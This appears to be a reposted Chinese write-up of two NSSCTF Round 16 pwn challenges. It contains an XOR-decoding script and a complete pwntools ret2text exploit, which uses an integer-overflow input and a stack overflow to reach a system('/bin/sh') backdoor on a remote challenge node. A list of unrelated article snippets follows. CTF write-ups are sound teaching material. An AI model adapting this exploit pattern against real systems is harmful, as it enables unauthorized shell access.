NSSCTF Round# 16 Basic pwn方向题解

news/2024/5/19 22:54:46 标签: CTF, PWN, NSSCTF题解, nc_pwnre, ret_text

pwn

nc_pwnre

没有附件,nc直接连接

给了一段汇编代码,让gpt翻译一下

这段汇编代码是一个循环,它对存储在ebp+i位置的字符串进行处理。让我逐步解释一下每个指令的作用:

mov eax, [ebp+i]: 将ebp+i位置的值加载到eax寄存器中。
add eax, 1: 将eax寄存器中的值加1。
mov [ebp+i], eax: 将eax寄存器中的值存储回ebp+i位置。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中,这里假设Str是一个指向字符串的指针。
push ecx: 将ecx寄存器中的值压入栈中,准备调用函数。
call _strlen: 调用名为_strlent的函数,用于计算字符串的长度。
add esp, 4: 调整栈指针,恢复栈的平衡。
cmp [ebp+i], eax: 将ebp+i位置的值与eax寄存器中的值进行比较。
jge short loc_40119D: 如果比较结果大于等于,则跳转到loc_40119D处,否则继续执行下一条指令。
mov edx, [ebp+Str]: 将ebp+Str位置的值加载到edx寄存器中。
add edx, [ebp+i]: 将ebp+i位置的值加到edx寄存器中,得到字符串中的偏移量。
movsx eax, byte ptr [edx]: 将edx寄存器指向的字节加载到eax寄存器中,并进行符号扩展。
xor eax, 10h: 将eax寄存器中的值与10h进行异或操作。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中。
add ecx, [ebp+i]: 将ebp+i位置的值加到ecx寄存器中,得到字符串中的偏移量。
mov [ecx], al: 将al寄存器中的值存储到ecx寄存器指向的位置。
jmp short loc_40116D: 无条件跳转到loc_40116D处,即循环的开始。
根据你提供的结果,这段汇编代码对字符串进行了异或操作,并将结果存储回原字符串中。你的结果是一个经过异或处理的字符串。

实际就是把字符串异或了一下,写个脚本异或回去

data = [0x44, 0x7c, 0x5e, 0x44, 0x41, 0x21, 0x42, 0x57, 0x75, 0x21, 0x74, 0x56, 0x44, 0x57, 0x5d, 0x67, 0x44, 0x46, 0x29, 0x45, 0x5d, 0x56, 0x29, 0x67, 0x46, 0x22, 0x25, 0x76, 0x74, 0x6a, 0x52, 0x69, 0x5d, 0x47, 0x41, 0x78, 0x76, 0x41, 0x2d, 0x2d]
key = 0x10

original_data = []
for byte in data:
    original_byte = byte ^ key
    original_data.append(original_byte)

original_string = ''.join(chr(byte) for byte in original_data)
print(original_string)

得到base64编码

TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

CyberChef转码

 但这个不是flag哦,我们把这个输入到程序

输入之后ls,cat flag即可 

NSSCTF{ae034760-adc0-4f3d-92d2-0ab3b91143ac}

 ret_text

下载附件,拖入kali中,使用file指令

32位程序 ,接着checksec,检查保护

32位IDA打开,分析read函数这里有栈溢出,但是前面有个if卡着

 这个if要求你的输入小于0,并且输入的数的负数也小于0,一般的数字肯定不行,我们看一下类型

是int,可以采用整数溢出,也就是输入超出范围的数

在C语言中,最小的 int 值是 -2147483648(即 -2^31),当我们取这个数的相反数时,由于 int 的最大值是 2147483647(即 2^31 - 1),所以无法表示出来,导致整数溢出,取反后的值仍然是 -2147483648。所以,为了满足 if 语句的条件,你需要输入 -2147483648

 发现有后门函数

地址0x8049328

解题思路:

  1. 先链接远程
  2. 输入-2147483648,使其进入if
  3. 输入过多字符,让read这里栈溢出
  4. 调用system("/bin/sh")
  5. ls,cat 即可

写脚本

from pwn import *  #调用pwntools

p=remote('node7.anna.nssctf.cn',28822)   #链接远程

backdoor = 0x8049328  #后门函数地址
payload = b'a' *(0x20+0x4) + p32(backdoor)  #构造playload

p.sendlineafter('Easy ret2text!!!Input:','-2147483648')   #先发送个-2147483648过去,使其进入if

p.recvline() #接收一下回显,只是让right这一句正常输出,让程序正确执行
p.sendline(payload) #发送攻击负载,让栈溢出,并执行后门函数
p.interactive() #交互


http://www.niftyadmin.cn/n/5324636.html

相关文章

【打卡】牛客网:BM87 合并两个有序的数组

思想: 简单粗暴的方法是先合并、再排序。没有技术含量。 此外,很容易想到是用归并方法。问题是对A[]从前往后赋值,会覆盖A[]中有用的数值。 模板的巧妙之处是,从后往前赋值,完美避开覆盖问题。 我看了模板的之后写…

C++PythonC# 三语言OpenCV从零开发(1):环境配置

文章目录 前言课程选择环境配置PythonC#COpenCV官网下载新建C项目测试运行Csharp版Python版 gitee仓库总结 前言 由于老王我想转机器视觉方向的上位机行业,我就打算开始从零学OpenCV。但是目前OpenCV有两个官方语言,C和Pyhont。C# 有大佬做了对应的Open…

[易语言]易语言部署yolox的onnx模型

【官方框架地址】 https://github.com/Megvii-BaseDetection/YOLOX 【算法介绍】 YOLOX是YOLO系列目标检测算法的进一步演变和优化。它由Megvii Technology的研究团队开发,是一个高性能、可扩展的对象检测器。YOLOX在保留快速处理速度的同时,通过引入一…

案例121:基于微信小程序的作品集展示系统设计与实现

文末获取源码 开发语言:Java 框架:SSM JDK版本:JDK1.8 数据库:mysql 5.7 开发软件:eclipse/myeclipse/idea Maven包:Maven3.5.4 小程序框架:uniapp 小程序开发软件:HBuilder X 小程序…

【零基础入门Python数据分析】Anaconda3 JupyterNotebookseaborn版

目录 一、安装环境 python介绍 anaconda介绍 jupyter notebook介绍 anaconda3 环境安装 解决JuPyter500:Internal Server Error问题-CSDN博客 Jupyter notebook快捷键操作大全 二、Python基础入门 数据类型与变量 数据类型 变量及赋值 布尔类型与逻辑运算…

easypoi文件导出

2.3注解导出 对象定义:学生 基本导出测试: ExportParams:设置标题名、sheet页名 ExcelExportUtil. exportExcel:导出excel表格方法 集合定义:课程:对应老师和学生的集合 跟上面的一致 图片的导出&#xff1…

小程序基础学习(请求封装)(重点,核心)

目录 首先: 封装一个request请求的js文件,用的是Promise 然后: 请求编写 原理:首先在页面加载完成以后发送一次请求数据,由于请求的数据会反复使用,直接把他抽离到外面,以后直接调用。在使用a…

宝塔安装redis并且远程连接redis教程

第一步:搜索redis并安装 第二步:在防火墙添加端口6379 第三步:查看宝塔防火墙是否开启了6379端口 firewall-cmd --zonepublic --list-ports 很显然并没有开启 第四步:开启防火墙的6379端口 firewall-cmd --zonepublic --add-po…